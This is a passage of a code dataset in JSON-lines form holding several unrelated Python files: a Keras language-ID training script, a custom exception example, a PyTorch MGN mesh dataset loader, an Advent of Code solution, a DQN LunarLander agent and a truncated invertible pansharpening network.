optimizer=tf.keras.optimizers.Adam(learning_rate=5e-5))\n return model\n\n\n\n# Mapping from dataset split names to tf.data.Dataset objects\nsplit2ds = {\n split: pipeline_from_metadata(meta[meta[\"split\"]==split], shuffle=split==\"train\")\n for split in split_names\n}\n\n# cache directory for tensorboard and iterator state\ncachedir = os.path.join(output_dir, \"cache\")\n\nsplit2ds[\"train\"] = split2ds[\"train\"].cache(os.path.join(cachedir, \"data\", \"train\"))\n\n# only interested in logmelspec as input\nmodel_input_type = \"logmelspec\"\n\n\n''' Model creation and training '''\n\nmodel = create_model(\n num_freq_bins=20 if model_input_type == \"mfcc\" else 40,\n num_labels=len(target2lang))\n\n# these are callback functions that will occur during training, such as creating checkpoints or stopping early\ncallbacks = [\n # Write scalar metrics and network weights to TensorBoard\n tf.keras.callbacks.TensorBoard(\n log_dir=os.path.join(cachedir, \"tensorboard\", model.name),\n update_freq=\"epoch\",\n write_images=True,\n profile_batch=0,\n ),\n # Stop training if validation loss has not improved from the global minimum in 10 epochs\n tf.keras.callbacks.EarlyStopping(\n monitor='val_loss',\n patience=10,\n ),\n # Write model weights to cache everytime we get a new global minimum loss value\n tf.keras.callbacks.ModelCheckpoint(\n os.path.join(cachedir, \"model\", model.name),\n monitor='val_loss',\n save_weights_only=True,\n save_best_only=True,\n verbose=1,\n ),\n]\n\n# get our respective datasets\ntrain_ds = split2ds[\"train\"].map(as_model_input).shuffle(1000)\ndev_ds = split2ds[\"dev\"].cache(os.path.join(cachedir, \"data\", \"dev\")).map(as_model_input)\n\n# train the model\nhistory = model.fit(\n train_ds.batch(1),\n validation_data=dev_ds.batch(1),\n callbacks=callbacks,\n verbose=2,\n epochs=100)\n\n\n# TODO here we should be doing batch testing with split2ds[\"test\"] but instead we simply just train the model\n\n# test_ds = split2ds[\"test\"].map(lambda x: dict(x, input=x[\"logmelspec\"])).batch(1)\n\n# # print(test_ds)\n# _ = model.load_weights(os.path.join(cachedir, \"model\", model.name))\n# # # utt2pred = predict_with_keras_model(model, test_ds)\n\n# # test_meta = meta[meta[\"split\"]==\"test\"]\n# # # assert not test_meta.join(utt2pred).isna().any(axis=None), \"missing predictions\"\n# # # test_meta = test_meta.join(utt2pred)\n# # test_meta\n","repo_name":"jofb/KIT301_Lidbox_training","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"20775722784","text":"class age_lessor_error(Exception):\r\n def __init__(self,msg) :\r\n self.msg=msg\r\n def __str__(self) :\r\n return self.msg\r\nclass age_greater_error(Exception):\r\n def __init__(self,msg):\r\n self.msg=msg\r\n def __str__(self) :\r\n return self.msg\r\ntry:\r\n age=int(input(\"age: \"))\r\n if age<18:\r\n raise age_lessor_error(\"age is less than 18\")\r\nexcept age_lessor_error as e :\r\n print(e)\r\nelse:\r\n print(\"age is perfect\")\r\nfinally:\r\n print('end')","repo_name":"appannahosamani/Project1","sub_path":"python/Advance/custom_esception.py","file_name":"custom_esception.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"11514007150","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Nov 19 22:19:17 2020\n\n@editor: zhantao\n\"\"\"\nfrom os.path import join as pjn\nfrom glob import glob\nfrom ast import literal_eval\nimport pickle as pickle\n\nimport torch\nfrom torch.utils.data import Dataset\nfrom torchvision.transforms import Normalize\nimport numpy as np\nimport cv2\n\nfrom models import camera as perspCamera\nfrom models.geometric_layers import axisAngle_to_rotationMatrix\nfrom models.geometric_layers import rotMat_to_rot6d\nfrom models.geometric_layers import axisAngle_to_Rot6d \nfrom utils.vis_util import read_Obj\n# from utils.mesh_util import generateSMPLmesh\nfrom utils.render_util import camera as cameraClass\nfrom utils.imutils import crop, flip_img, background_replacing\n\n\nclass BaseDataset(Dataset):\n \"\"\"\n Base Dataset Class - Handles data loading and augmentation.\n \"\"\"\n\n def __init__(self, options, use_augmentation=True, split='train'):\n super(BaseDataset, self).__init__()\n \n # store options\n self.options = options\n \n # split the dataset into 80%, 10% and 10% \n # for train, test and validation\n assert split in ('train', 'test', 'validation')\n self.split = split\n \n self.cameraObj = perspCamera()\n print('**since we predict camera, image flipping is disabled**')\n print('**since we only predict body rot, image rot is disabled**')\n print('**all params are under the original coordinate sys**')\n _, self.smplMesh, _, _ = read_Obj(self.options.smpl_objfile_path)\n \n self.obj_dir = sorted( glob(pjn(options.mgn_dir, '*')) )\n numOBJ = len(self.obj_dir)\n if split == 'train':\n self.obj_dir = self.obj_dir[0:int(numOBJ*0.8)]\n elif split == 'test':\n self.obj_dir = self.obj_dir[int(numOBJ*0.8) : int(numOBJ*0.9)]\n else:\n self.obj_dir = self.obj_dir[int(numOBJ*0.9):]\n \n # background image dir \n # for rendered images, their background will be replaced by random \n # images in the folder, if required.\n #\n # training images and testing/validation image have backgrounds \n # from differernt folder.\n if options.replace_background:\n self.bgimages = []\n imgsrc = ('images/validation/*', 'images/training/*')[split == 'train']\n for subfolder in sorted(glob(pjn(options.bgimg_dir, imgsrc))):\n for subsubfolder in sorted( glob( pjn(subfolder, '*') ) ):\n if 'room' in subsubfolder:\n self.bgimages += sorted(glob( pjn(subsubfolder, '*.jpg'))) \n assert len(self.bgimages) > 0, 'No background image found.'\n else:\n self.bgimages = None\n \n # load datatest\n self.objname, self.imgname, self.center, self.scale = [], [], [], []\n self.camera, self.lights = [], [] \n self.GToffsets, self.GTsmplParas, self.GTtextureMap = [],[],[]\n for obj in self.obj_dir:\n \n self.objname.append(obj.split('/')[-1])\n \n # read images and rendering settings\n for path_to_image in sorted( glob( pjn(obj, 'rendering/*smpl_registered.png')) ):\n # control the pose to be used for training \n cameraPath, lightPath = path_to_image.split('/')[-1].split('_')[:2]\n cameraIdx, lightIdx = int(cameraPath[6:]), int(lightPath[5:])\n if self.options.obj_usedImageIdx is not None:\n if cameraIdx not in self.options.obj_usedImageIdx:\n continue\n \n self.imgname.append( path_to_image )\n \n path_to_rendering = '/'.join(path_to_image.split('/')[:-1])\n with open( pjn( path_to_rendering,'camera%d_boundingbox.txt'%(cameraIdx)) ) as f:\n # Bounding boxes in mgn are top left, bottom right format\n # we need to convert it to center and scalse format. \n # \"center\" represents the center in the input image space\n # \"scale\" is the size of bbox compared to a square of 200pix.\n # In both matplotlib and cv2, image is stored as [numrow, numcol, chn]\n # i.e. [y, x, c]\n boundbox = literal_eval(f.readline())\n self.center.append( [(boundbox[0]+boundbox[2])/2, \n (boundbox[1]+boundbox[3])/2] )\n self.scale.append( max((boundbox[2]-boundbox[0])/200, \n (boundbox[3]-boundbox[1])/200) )\n \n # read and covert camera parameters\n with open( pjn( path_to_rendering,'camera%d_intrinsic_smpl_registered.txt'%(cameraIdx)) ) as f:\n cameraIntrinsic = literal_eval(f.readline()) \n with open( pjn( path_to_rendering,'camera%d_extrinsic_smpl_registered.txt'%(cameraIdx)) ) as f:\n cameraExtrinsic = literal_eval(f.readline()) \n camthis = cameraClass(\n projModel ='perspective',\n intrinsics = np.array(cameraIntrinsic)\n )\n camthis.setExtrinsic(\n rotation = np.array(cameraExtrinsic[0]), \n location = np.array(cameraExtrinsic[1])\n )\n self.camera.append( camthis.getGeneralCamera() )\n \n # light settings\n with open( pjn( path_to_rendering,'light%d.txt'%(lightIdx)) ) as f:\n lightSettings = literal_eval(f.readline())\n self.lights.append(lightSettings) \n \n # read original offsets in t-pose\n path_to_offsets = pjn(obj, 'gt_offsets')\n offsets_t = np.load( pjn(path_to_offsets, 'offsets_std.npy') ) # hres offsets is in offsets_hres.npy\n self.GToffsets.append({'offsets': offsets_t})\n \n # read smpl parameters \n # The 6D rotation representation is used here.\n # be careful to the global rotation (first 3 or 6), it is under\n # the orignal coordinate system.\n registration = pickle.load(open( pjn(obj, 'registration.pkl'), 'rb'), encoding='iso-8859-1')\n jointsRot6d = axisAngle_to_Rot6d(torch.as_tensor(registration['pose'].reshape([-1, 3])))\n bodyBetas = (registration['betas'], registration['betas'][0])[len(registration['betas'].shape) == 2]\n bodyTrans = (registration['trans'], registration['trans'][0])[len(registration['trans'].shape) == 2]\n self.GTsmplParas.append({'betas': torch.as_tensor(bodyBetas),\n 'pose': jointsRot6d, \n 'trans': torch.as_tensor(bodyTrans) })\n \n # read and resize UV texture map same for the segmentation \n UV_textureMap = cv2.imread( pjn(obj, 'registered_tex.jpg') )[:,:,::-1]/255.0\n UV_textureMap = cv2.resize(UV_textureMap, (self.options.img_res, self.options.img_res), cv2.INTER_CUBIC)\n self.GTtextureMap.append(UV_textureMap)\n \n # since every new dataset would have difference mean and std, we need \n # to compute and save (mean, std) for training set of each new dataset.\n # Otherewise there could be ill valued offsets, e.g. 1e4 or 1e6. \n #\n # similarly, we need to mask out some offsets in test and validation \n # sets, as these vertices are not covered in the training set. If not\n # mask them, the normalized offsets would be wrong, e.g. 1e4 or 1e6.\n # \n # currently, we normalize vertex by vertex, but it might be better to\n # nomalize all offsets as a whole, i.e. 1 mean and 1 std.\n dispPara = []\n offsets_t = np.array([item['offsets'] for item in self.GToffsets])\n offsets_mask = np.zeros_like(self.GToffsets[0]['offsets']).astype('int')>0 \n if split == 'train': # compute mean, std and save them to the given path\n dispPara.append(offsets_t.mean(axis=0))\n dispPara.append(offsets_t.std(axis=0))\n \n with open(self.options.MGN_offsMeanStd_path, 'wb') as f:\n np.save(f, dispPara) \n else: # read the computed mean and std of the training set\n dispPara = np.load(self.options.MGN_offsMeanStd_path)\n offsets_mask = (dispPara[0] == 0)*(dispPara[1] == 0)\n \n offsets_tn = (offsets_t - dispPara[0])/(dispPara[1]+1e-8) # normalize offsets\n for cnt in range(len(self.GToffsets)):\n offsets_tn[cnt][offsets_mask] = 0\n self.GToffsets[cnt]['offsets'] = offsets_tn[cnt]\n \n IMG_NORM_MEAN = [0.485, 0.456, 0.406]\n IMG_NORM_STD = [0.229, 0.224, 0.225]\n self.normalize_img = Normalize(mean=IMG_NORM_MEAN, std=IMG_NORM_STD) \n\t\n # If False, do not do augmentation\n self.use_augmentation_rot = use_augmentation and self.options.use_augmentation_rot # rotation augmentation \n self.use_augmentation_rgb = use_augmentation and self.options.use_augmentation_rgb # channel augmentation\n \n # lenght of dataset\n self.length = len(self.imgname)\n \n # define the correspondence between image and background in advance\n if options.replace_background:\n self.bgperm = np.random.randint(0, len(self.bgimages), size = self.length)\n\n # img = cv2.imread(self.imgname[251])[:,:,::-1].copy().astype(np.float32)\n # bgimg = cv2.imread(self.bgimages[251])[:,:,::-1].copy().astype(np.float32)\n # img = background_replacing(img, bgimg)\n # plt.imshow(img/255)\n \n # self.__getitem__(10)\n\n def augm_params(self):\n \"\"\"Get augmentation parameters.\"\"\"\n flip = 0 # flipping\n pn = np.ones(3) # per channel pixel-noise\n rot = 0 # rotation\n sc = 1 # scaling\n if self.split == 'train':\n # flip with probability 1/2, but now we set it to 0\n if np.random.uniform() < 0.0:\n flip = 1\n\t \n # Each channel is multiplied with a number \n # in the area [1-opt.noiseFactor,1+opt.noiseFactor]\n pn = np.random.uniform(1-self.options.noise_factor, 1+self.options.noise_factor, 3)\n\t \n # The rotation is a number in the area [-2*rotFactor, 2*rotFactor]\n rot = min(2*self.options.rot_factor,\n max(-2*self.options.rot_factor, np.random.randn()*self.options.rot_factor))\n\t \n # The scale is multiplied with a number\n # in the area [1-scaleFactor,1+scaleFactor]\n sc = min(1+self.options.scale_factor,\n max(1-self.options.scale_factor, np.random.randn()*self.options.scale_factor+1))\n \n # we set the rotation to 0 all the time now\n if np.random.uniform() <= 1:\n rot = 0\n\t\n return flip, pn, rot, sc\n\n def rgb_processing(self, rgb_img, center, scale, rot, flip, pn):\n \"\"\"Process rgb image and do augmentation.\"\"\"\n # crop and rotate the image\n if self.use_augmentation_rot:\n rgb_img = crop(rgb_img, center, scale, \n [self.options.img_res, self.options.img_res], rot=rot)\n else:\n rgb_img = crop(rgb_img, center, scale, \n [self.options.img_res, self.options.img_res], rot=0)\n # flip the image \n if flip:\n rgb_img = flip_img(rgb_img)\n # in the rgb image we add pixel noise in a channel-wise manner\n if self.use_augmentation_rgb:\n rgb_img[:,:,0] = np.minimum(255.0, np.maximum(0.0, rgb_img[:,:,0]*pn[0]))\n rgb_img[:,:,1] = np.minimum(255.0, np.maximum(0.0, rgb_img[:,:,1]*pn[1]))\n rgb_img[:,:,2] = np.minimum(255.0, np.maximum(0.0, rgb_img[:,:,2]*pn[2]))\n \n # (3,224,224),float,[0,1]\n rgb_img = np.transpose(rgb_img.astype('float32'),(2,0,1))/255.0\n return rgb_img\n\n def camera_trans(self, img, center, scale, rot, flip, cameraOrig, options):\n \"\"\"Generate GT camera corresponding to the augmented image\"\"\"\n \n assert flip == 0 and rot == 0,\\\n 'We do not supoprt image rotation and flip in this task'\n \n # In crop, if there is rotation it would padd the image to the length\n # of diagnal, so we should consider the effect. Besides, it uses scipy \n # rotate function which would further ZoomOut a bit. \n new_res = img.shape[1]\n origres = scale*200\n if rot == 0:\n res_ratio = new_res/origres\n else:\n padd = round(origres*(np.sqrt(2)-1)/2)\n newE = round((padd + origres/2)*np.sqrt(2)\\\n *np.cos((45 - np.abs(rot))/180*np.pi))\n final= (newE - padd)*2\n res_ratio = new_res/final\n \n cameraIntrinsic = cameraOrig['intrinsic']\n # prepare camera for boundingbox\n bboxCy, bboxCx = center[0], center[1]\n Cx, Cy = cameraIntrinsic[0,-1], cameraIntrinsic[1,-1]\n fx, fy = cameraIntrinsic[0, 0], cameraIntrinsic[1, 1] \n cameraIntBbox = np.array([[fx*res_ratio, 0, new_res/2],\n [0, fy*res_ratio, new_res/2],\n [0, 0, 1]])\n \n # simulate uncentered cropping by translation\n cameraExtBbox = cameraOrig['extrinsic']\n R, t = cameraExtBbox[:,:3], cameraExtBbox[:,-1]\n depth = np.linalg.norm(t)\n t[0] += -(bboxCx - Cx)/fx*depth # minus means from vc to oc\n t[1] += -(bboxCy - Cy)/fy*depth\n \n # simulate centered image rotation as camera rotation\n # the rotation direction should be the inverse one so we add a minus.\n rotMat = axisAngle_to_rotationMatrix(\n torch.Tensor([[0,0,-rot*np.pi/180]]))[0]\n R = rotMat@R\n t = rotMat@t[:,None]\n \n cameraOrig['intrinsic'] = cameraIntBbox\n cameraOrig['extrinsic'] = np.hstack([R,t])\n \n return cameraOrig\n\n def __getitem__(self, index):\n item = {}\n center = self.center[index]\n scale = self.scale[index]\n\n # Get augmentation parameters\n flip,pn,rot,sc = self.augm_params()\n \n # Load image\n imgname = self.imgname[index]\n try:\n img = cv2.imread(imgname)[:,:,::-1].copy().astype(np.float32)\n except TypeError:\n print(imgname)\n orig_shape = np.array(img.shape)[:2]\n \n # read background image and replace the background if available\n if self.bgimages is not None:\n bgimgname = self.bgimages[ self.bgperm[index] ]\n try:\n bgimg = \\\n cv2.imread(bgimgname)[:,:,::-1].copy().astype(np.float32)\n except TypeError:\n print(bgimgname)\n img = background_replacing(img, bgimg)\n\n # Process image\n img = self.rgb_processing(img, center, sc*scale, rot, flip, pn)\n img = torch.from_numpy(img).float()\n \n # Store image before normalization to use it in visualization\n item['img_orig'] = img.clone()\n item['img'] = self.normalize_img(img)\n item['imgname'] = imgname\n item['objname'] = self.objname[ index//self.options.img_per_object ]\n \n item['scale'] = float(sc * scale)\n item['center'] = np.array(center).astype(np.float32)\n item['orig_shape'] = orig_shape\n \n item['GToffsets_t'] = self.GToffsets[ index//self.options.img_per_object ]\n item['GTsmplParas'] = self.GTsmplParas[ index//self.options.img_per_object ]\n item['GTtextureMap']= self.GTtextureMap[ index//self.options.img_per_object ]\n \n GTcamera = self.camera_trans(\n img, center, sc*scale, rot,flip,self.camera[index],self.options)\n \n # In camera, we predict f and 6d rotation only, because:\n # 1. the Cx Cy are assumed to be the center of the image\n # 2. t vector is decided by the location of the bbox, which can\n # not be recovered from the input cropped image.\n item['GTcamera'] = {\n 'f_rot':np.hstack([np.array(GTcamera['intrinsic'][0,0][None,None]), \n rotMat_to_rot6d(GTcamera['extrinsic'][:,:3][None])]),\n 't': GTcamera['extrinsic'][:,-1]}\n \n return item\n\n def __len__(self):\n return len(self.imgname)\n\n\nclass MGNDataset(torch.utils.data.Dataset):\n \"\"\"Mixed dataset with data from all available datasets.\"\"\"\n \n def __init__(self, options, split='train'):\n super(MGNDataset, self).__init__()\n self.mgn_dataset = BaseDataset(options, \n use_augmentation=True, \n split=split)\n # self.mgn_dataset[0]\n self.length = self.mgn_dataset.length\n \n \n def __getitem__(self, i):\n return self.mgn_dataset[i]\n\n def __len__(self):\n return self.length\n ","repo_name":"GentleDell/DEBOR","sub_path":"scripts/dataset/mgn_dataset.py","file_name":"mgn_dataset.py","file_ext":"py","file_size_in_byte":17513,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"11"} +{"seq_id":"1107518777","text":"#!/usr/bin/python3\n\n\nwith open('8.dat') as f:\n lines = f.read()\nlines = lines.split(\"\\n\")\nlines.pop()\ndata = lines[0]\ndata = [int(x) for x in data]\n\nlayerlen = 25 * 6\nlayers = list()\ni = 0\nfor _ in range(0, len(data), layerlen):\n layers.append(data[i * layerlen:(i + 1) * layerlen])\n i += 1\nminzero = 25 * 6\nminzerolayer = list()\nfor layer in layers:\n zeros = sum(1 for x in layer if x == 0)\n if minzero > zeros:\n minzero = zeros\n minzerolayer = layer[:]\n\nprint(minzerolayer)\nones = sum(1 for x in minzerolayer if x == 1)\ntwos = sum(1 for x in minzerolayer if x == 2)\nprint(ones * twos)\n","repo_name":"parapente/AoC2019","sub_path":"8a.py","file_name":"8a.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"26227750219","text":"# From: https://github.com/lazavgeridis/LunarLander-v2, dqn version\n# Adapted for better ploting\n\nimport gym\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport sys\nimport os\nimport argparse\nimport numpy as np\nimport random\nimport matplotlib.pyplot as plt\n\nos.environ['KMP_DUPLICATE_LIB_OK']='True'\ntorch.set_num_threads(8)\n\nclass CNN(nn.Module):\n\n def __init__(self, env_actions):\n super(CNN, self).__init__()\n self.conv1 = nn.Conv2d(1, 32, kernel_size=8, stride=4)\n self.conv2 = nn.Conv2d(32, 64, kernel_size=4, stride=2)\n self.conv3 = nn.Conv2d(64, 64, kernel_size=3, stride=1)\n self.fc = nn.Linear(3136, 512) # 64 x 7 x 7\n self.out = nn.Linear(512, env_actions)\n\n def forward(self, x):\n x = F.relu(self.conv1(x))\n x = F.relu(self.conv2(x))\n x = F.relu(self.conv3(x))\n x = self.conv_to_fc(x)\n x = F.relu(self.fc(x))\n\n return self.out(x)\n\n def conv_to_fc(self, x):\n size = x.size()[1:] # all dimensions except batch dimension\n num_features = 1\n for s in size:\n num_features *= s\n\n return x.view(-1, num_features)\n\n\nclass LinearMapNet(nn.Module):\n def __init__(self, input_shape, env_actions):\n super(LinearMapNet, self).__init__()\n self.fc1 = nn.Linear(input_shape, 64)\n self.fc2 = nn.Linear(64, 64)\n self.out = nn.Linear(64, env_actions)\n\n def forward(self, x):\n x = torch.tanh(self.fc1(x))\n x = torch.tanh(self.fc2(x))\n\n return self.out(x)\n\nclass ReplayMemory(object):\n def __init__(self, capacity):\n self.transitions = []\n self.max_capacity = capacity\n self.next_transition_index = 0\n\n\n def length(self):\n return len(self.transitions)\n\n\n def store(self, state, action, reward, next_state, done):\n transition = (state, action, reward, next_state, done)\n\n if self.next_transition_index >= self.length():\n self.transitions.append(transition)\n else:\n self.transitions[self.next_transition_index] = transition # overwrite old experiences\n\n self.next_transition_index = (self.next_transition_index + 1) % self.max_capacity\n\n\n def sample_minibatch(self, batch_size):\n states, actions, rewards, next_states, dones = [], [], [], [], []\n for _ in range(batch_size):\n transition_index = random.randint(0, self.length() - 1)\n transition = self.transitions[transition_index]\n state, action, reward, next_state, done = transition\n states.append(state)\n actions.append(action)\n rewards.append(reward)\n next_states.append(next_state)\n dones.append(done)\n\n return states, actions, rewards, next_states, dones\n\ndef build_qnetwork(env_actions, learning_rate, input_shape, network, device):\n if network == 'cnn':\n qnet = CNN(env_actions)\n else:\n # model = 'linear'\n qnet = LinearMapNet(input_shape, env_actions)\n return qnet.to(device), torch.optim.RMSprop(qnet.parameters(), lr=learning_rate)\n\ndef lmn_input(obs):\n net_input = np.expand_dims(obs, 0)\n net_input = torch.from_numpy(net_input)\n\n return net_input\n\ndef epsilon_greedy(q_func, state, eps, env_actions):\n prob = np.random.random()\n\n if prob < eps:\n return random.choice(range(env_actions))\n elif isinstance(q_func, CNN) or isinstance(q_func, LinearMapNet):\n with torch.no_grad():\n return q_func(state).max(1)[1].item()\n else:\n qvals = [q_func[state + (action, )] for action in range(env_actions)]\n return np.argmax(qvals)\n\ndef decay_epsilon(curr_eps, exploration_final_eps):\n if curr_eps < exploration_final_eps:\n return curr_eps\n \n return curr_eps * 0.996\n\ndef fit(qnet, qnet_optim, qtarget_net, loss_func, \\\n frames, actions, rewards, next_frames, dones, \\\n gamma, env_actions, device):\n\n # compute action-value for frames at timestep t using q-network\n frames_t = torch.cat(frames).to(device)\n actions = torch.tensor(actions, device=device)\n q_t = qnet(frames_t) # q_t tensor has shape (batch, env_actions)\n q_t_selected = torch.sum(q_t * torch.nn.functional.one_hot(actions, env_actions), 1) \n\n # compute td targets for frames at timestep t + 1 using q-target network\n dones = torch.tensor(dones, device=device)\n rewards = torch.tensor(rewards, device=device)\n frames_tp1 = torch.cat(next_frames).to(device)\n q_tp1_best = qtarget_net(frames_tp1).max(1)[0].detach() \n ones = torch.ones(dones.size(-1), device=device)\n q_tp1_best = (ones - dones) * q_tp1_best\n q_targets = rewards + gamma * q_tp1_best\n\n # td error\n loss = loss_func(q_t_selected, q_targets)\n qnet_optim.zero_grad()\n loss.backward()\n qnet_optim.step()\n #return loss.item()\n\ndef update_target_network(qnet, qtarget_net):\n qtarget_net.load_state_dict(qnet.state_dict())\n\ndef save_model(qnet, episode, path):\n torch.save(qnet.state_dict(), os.path.join(path, 'qnetwork_{}.pt'.format(episode)))\n\ndef moving_average(a, n=3) :\n ret = np.cumsum(a, dtype=float)\n ret[n:] = ret[n:] - ret[:-n]\n return ret[n - 1:] / n\n\ndef plot_rewards(chosen_agents, agents_returns, num_episodes, window):\n \"\"\"\n num_intervals = int(num_episodes / window)\n for agent, agent_total_returns in zip(chosen_agents, agents_returns):\n print(len(agent_total_returns))\n print(\"\\n{} lander average reward = {}\".format(agent, sum(agent_total_returns) / num_episodes))\n l = []\n for j in range(num_intervals):\n l.append(round(np.mean(agent_total_returns[j * 100 : (j + 1) * 100]), 1))\n plt.plot(range(0, num_episodes, window), l)\n plt.xlabel(\"Episodes\")\n plt.ylabel(\"Reward per {} episodes\".format(window))\n plt.title(\"RL Lander(s)\")\n plt.legend(chosen_agents, loc=\"lower right\")\n plt.show()\n \"\"\"\n for agent, agent_total_returns in zip(chosen_agents, agents_returns):\n reward_per_episode = agent_total_returns\n\n fig, ax = plt.subplots(1, 1, figsize=(14, 6))\n ax.plot(range(1, len(reward_per_episode) + 1), reward_per_episode, 'b', label='Episode Reward')\n ax.plot(range(1, len(reward_per_episode) - 99 + 1), moving_average(reward_per_episode, 100), 'r', label='Moving Average (100)')\n ax.set_title('Episode Reward over time', fontsize=16)\n ax.set_xlabel('Episode', fontsize=16)\n ax.set_ylabel('Reward', fontsize=16)\n ax.legend()\n plt.show()\n\ndef dqn_lander(env, n_episodes, gamma, lr, min_eps, \\\n batch_size=32, memory_capacity=50000, \\\n network='linear', learning_starts=1000, \\\n train_freq=1, target_network_update_freq=1000, \\\n print_freq=500, render_freq=500, save_freq=1000):\n\n # set device to run on\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n loss_function = torch.nn.MSELoss()\n\n # path to save checkpoints\n PATH = \"./data\"\n if not os.path.isdir(PATH):\n os.mkdir(PATH)\n\n num_actions = env.action_space.n\n input_shape = env.observation_space.shape[-1]\n qnet, qnet_optim = build_qnetwork(num_actions, lr, input_shape, network, device)\n qtarget_net, _ = build_qnetwork(num_actions, lr, input_shape, network, device)\n qtarget_net.load_state_dict(qnet.state_dict())\n qnet.train()\n qtarget_net.eval()\n replay_memory = ReplayMemory(memory_capacity)\n\n epsilon = 1.0 \n return_per_ep = [0.0] \n saved_mean_reward = None\n t = 0\n\n for i in range(n_episodes):\n curr_state = lmn_input(env.reset())\n if (i + 1) % render_freq == 0:\n render = True\n else:\n render = False\n\n while True:\n if render:\n env.render()\n\n # choose action A using behaviour policy -> ε-greedy; use q-network\n action = epsilon_greedy(qnet, curr_state.to(device), epsilon, num_actions)\n # take action A, earn immediate reward R and land into next state S'\n next_state, reward, done, _ = env.step(action)\n #next_frame = get_frame(env)\n next_state = lmn_input(next_state)\n\n # store transition (S, A, R, S', Done) in replay memory\n replay_memory.store(curr_state, action, float(reward), next_state, float(done))\n\n # if replay memory currently stores > 'learning_starts' transitions,\n # sample a random mini-batch and update q_network's parameters\n if t > learning_starts and t % train_freq == 0:\n states, actions, rewards, next_states, dones = replay_memory.sample_minibatch(batch_size)\n #loss = \n fit(qnet, \\\n qnet_optim, \\\n qtarget_net, \\\n loss_function, \\\n states, \\\n actions, \\\n rewards, \\\n next_states, \\\n dones, \\\n gamma, \\\n num_actions, \n device)\n\n # periodically update q-target network's parameters\n if t > learning_starts and t % target_network_update_freq == 0:\n update_target_network(qnet, qtarget_net)\n\n t += 1\n return_per_ep[-1] += reward\n\n if done:\n if (i + 1) % print_freq == 0:\n print(\"\\nEpisode: {}\".format(i + 1))\n print(\"Episode return : {}\".format(return_per_ep[-1]))\n print(\"Total time-steps: {}\".format(t))\n\n if (i + 1) % 100 == 0:\n mean_100ep_reward = round(np.mean(return_per_ep[-101:-1]), 1)\n print(\"\\nLast 100 episodes mean reward: {}\".format(mean_100ep_reward))\n\n if t > learning_starts and (i + 1) % save_freq == 0:\n if saved_mean_reward is None or mean_100ep_reward > saved_mean_reward:\n print(\"\\nSaving model due to mean reward increase: {} -> {}\".format(saved_mean_reward, mean_100ep_reward))\n save_model(qnet, i + 1, PATH)\n saved_mean_reward = mean_100ep_reward\n\n return_per_ep.append(0.0)\n epsilon = decay_epsilon(epsilon, min_eps)\n\n break\n\n curr_state = next_state\n\n return return_per_ep\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--n_episodes', type=int, help='number of training episodes', default=10000, required=False) # default number of episodes is 10000\n parser.add_argument('--lr', type=float, help='step-size (or learning rate) used in sarsa, q-learning, dqn', default=1e-3, required=False) # default step-size is 0.001\n parser.add_argument('--gamma', type=float, help='discount rate, should be 0 < gamma < 1', default=0.99, required=False) # default gamma is 0.99\n parser.add_argument('--final_eps', type=float, help='decay epsilon unti it reaches its \\'final_eps\\' value', default=1e-2, required=False) # default final eploration epsilon is 0.01\n args = parser.parse_args()\n\n environment = gym.make(\"LunarLander-v2\")\n print(\"\\nTraining DQN lander with arguments num_episodes={}, learning rate={}, gamma={}, final_epsilon={} ...\"\\\n .format(args.n_episodes, args.lr, args.gamma, args.final_eps))\n total_rewards = dqn_lander(environment, args.n_episodes, args.gamma, args.lr, args.final_eps)\n print(\"Done!\")\n\n environment.close()\n\n # plot rewards per 'win' episodes for each agent\n win = 100\n plot_rewards(['dqn'], [total_rewards], args.n_episodes, win)\n\n\nif __name__ == '__main__':\n main()","repo_name":"hoehlars/ki2-praktikas","sub_path":"KI2_Lab3_FS2021/DQN/lazavgeridis.py","file_name":"lazavgeridis.py","file_ext":"py","file_size_in_byte":11783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"70315003227","text":"#!/usr/bin/env python\n# coding=utf-8\n'''\nAuthor: wjm\nDate: 2022-06-20 22:48:43\nLastEditTime: 2022-07-17 00:13:36\nDescription: file content\n'''\n\nfrom cmath import e\nimport os\nfrom this import s\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\n# from base_net import *\nfrom torchvision.transforms import *\nimport torch.nn.functional as F\nimport numpy as np\n\nclass Net(nn.Module):\n def __init__(self, args):\n super(Net, self).__init__()\n\n out_channels = 4\n self.args = args\n \n num_inv = 1\n \n operations = []\n\n current_channel = 4\n\n for j in range(3):\n b = InvBlockExp(current_channel, current_channel//2)\n operations.append(b)\n\n for i in range(2):\n b = HaarDownsampling(current_channel)\n operations.append(b)\n current_channel *= 4\n for j in range(3):\n b = InvBlockExp(current_channel, current_channel//2)\n operations.append(b)\n\n self.operations = nn.ModuleList(operations)\n\n def forward(self, l_ms, b_ms, x_pan, h_ms, rev=False, cal_jacobian=False):\n \n pan_vgg = []\n pan_vgg.append(x_pan)\n pan_vgg.append(F.interpolate(x_pan, scale_factor=1/2, mode='bicubic'))\n pan_vgg.append(F.interpolate(x_pan, scale_factor=1/4, mode='bicubic'))\n\n if not rev:\n out = h_ms\n for index, op in enumerate(self.operations):\n out = op.forward(out, pan_vgg, rev)\n\n else:\n out = l_ms\n for index, op in enumerate(reversed(self.operations)):\n out = op.forward(out, pan_vgg, rev)\n \n return out\n\nclass InvBlockExp(nn.Module):\n def __init__(self, channel_num=3, channel_split_num=3, clamp=1.):\n super(InvBlockExp, self).__init__()\n\n self.split_len1 = channel_split_num\n self.split_len2 = channel_num - channel_split_num\n\n self.clamp = clamp\n \n if channel_num == 4:\n self.split_len3 = self.split_len2 + 1\n elif channel_num == 16:\n self.split_len3 = self.split_len2 + 1\n elif channel_num == 64:\n self.split_len3 = self.split_len2 + 1\n self.Fs1 = FPNBlock(self.split_len3, self.split_len1)\n 